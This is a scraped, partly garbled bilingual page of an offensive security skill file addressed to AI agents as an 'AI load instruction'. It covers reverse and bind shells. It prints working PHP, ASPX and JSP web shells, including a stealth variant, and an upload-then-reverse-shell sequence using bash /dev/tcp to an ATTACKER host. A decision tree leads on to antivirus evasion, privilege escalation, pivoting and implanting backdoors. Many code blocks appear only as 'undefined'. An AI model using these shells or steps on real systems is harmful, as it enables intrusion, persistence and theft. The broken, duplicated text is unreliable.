Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
AI加载说明:高级反向Shell技术,涵盖反向/绑定Shell选型、加密Shell(OpenSSL、socat SSL、ncat)、Web Shell模板(PHP/ASPX/JSP)、PTY升级步骤、文件传输方法、PowerShell下载加载器、msfvenom payload生成。基础模型缺少加密Shell语法、正确的PTY稳定方案以及平台专属的传输技巧。
| Factor | Reverse Shell | Bind Shell |
|---|---|---|
| Firewall (egress) | Works if outbound allowed | Blocked by egress filtering |
| Firewall (ingress) | Not blocked | Requires inbound access to victim |
| NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) |
| Detection | Outbound connection — less suspicious | Listening port — easily detected |
| Default choice | Almost always preferred | Only when no egress + have inbound |
| 对比项 | 反向Shell | 绑定Shell |
|---|---|---|
| 防火墙(出站) | 只要允许出站即可使用 | 会被出站过滤规则拦截 |
| 防火墙(入站) | 不受入站规则拦截 | 需要能访问受害者的入站端口 |
| NAT环境 | 可用(受害者主动外连) | 不可用(无法访问NAT后的受害者) |
| 检测风险 | 出站连接——更不容易被怀疑 | 监听端口——极易被检测到 |
| 默认选择 | 几乎是首选方案 | 仅当无出站权限且具备入站访问权限时使用 |
undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined
---
---<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>
<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?><?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<!-- 极简隐匿Shell -->
<?=`$_GET[0]`?>
<!-- 带密码的POST请求型Shell -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?><%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %><%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %><%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %><%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>1. Find upload endpoint → upload shell with allowed extension bypass
2. Locate uploaded file (predictable path, directory listing, response leak)
3. Trigger: GET /uploads/shell.php?cmd=id
4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'1. 找到上传端点 → 绕过扩展名限制上传Shell
2. 定位上传文件位置(通过 predictable路径、目录遍历、响应泄露)
3. 触发:GET /uploads/shell.php?cmd=id
4. 升级为反向Shell:?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'undefinedundefinedundefinedundefinedundefinedundefinedttytty
---
---undefinedundefinedundefinedundefinedundefinedundefined
---
---undefinedundefined
---
---undefinedundefined
---
---Need remote shell on target
│
├── Can execute commands already (RCE)?
│ ├── Linux target?
│ │ ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md)
│ │ ├── Need encryption? → OpenSSL or socat SSL shell (§2)
│ │ └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting)
│ │
│ ├── Windows target?
│ │ ├── PowerShell available? → PS reverse shell (§6)
│ │ ├── Need binary? → msfvenom payload (§7)
│ │ └── AV blocking? → load windows-av-evasion skill
│ │
│ └── Web server (upload possible)?
│ ├── PHP? → PHP web shell (§3) → upgrade to reverse shell
│ ├── ASP.NET? → ASPX shell (§3)
│ └── Java/Tomcat? → JSP shell (§3)
│
├── Got a dumb shell?
│ ├── Python available? → PTY upgrade (§4)
│ ├── script available? → script /dev/null -c bash (§4)
│ ├── socat on target? → socat full PTY (§4)
│ └── None? → rlwrap on attacker side for readline
│
├── Need to transfer tools?
│ ├── Linux: wget/curl/nc/base64 (§5)
│ ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
│ └── No outbound? → base64 copy-paste (§5)
│
└── Shell established — next steps?
├── Privilege escalation → load linux/windows-privilege-escalation
├── Pivot to internal network → load tunneling-and-pivoting
└── Persistence → implant backdoor需要在目标上获取远程Shell
│
├── 已经可以执行命令(存在RCE)?
│ ├── 目标是Linux系统?
│ │ ├── 可用bash/python/perl? → 单行反向Shell(参考CHEATSHEET.md)
│ │ ├── 需要加密传输? → OpenSSL或socat SSL Shell(见第2节)
│ │ └── 出站被拦截? → 绑定Shell或隧道(参考隧道与内网穿透技能)
│ │
│ ├── 目标是Windows系统?
│ │ ├── 可用PowerShell? → PowerShell反向Shell(见第6节)
│ │ ├── 需要二进制文件? → msfvenom payload(见第7节)
│ │ └── 杀毒软件拦截? → 加载Windows杀毒软件绕过技能
│ │
│ └── 是Web服务器且支持上传?
│ ├── 支持PHP? → PHP Web Shell(见第3节)→ 升级为反向Shell
│ ├── 支持ASP.NET? → ASPX Shell(见第3节)
│ └── 支持Java/Tomcat? → JSP Shell(见第3节)
│
├── 拿到了无交互哑Shell?
│ ├── 可用Python? → PTY升级(见第4节)
│ ├── 可用script命令? → script /dev/null -c bash(见第4节)
│ ├── 目标端有socat? → socat全功能PTY(见第4节)
│ └── 以上都没有? → 攻击端使用rlwrap获取readline支持
│
├── 需要传输工具?
│ ├── Linux:wget/curl/nc/base64(见第5节)
│ ├── Windows:certutil/PowerShell/bitsadmin/SMB(见第5节)
│ └── 无出站权限? → base64复制粘贴传输(见第5节)
│
└── 已建立Shell —— 后续步骤?
├── 权限提升 → 加载Linux/Windows权限提升技能
├── 横向移动到内网 → 加载隧道与内网穿透技能
└── 持久化 → 植入后门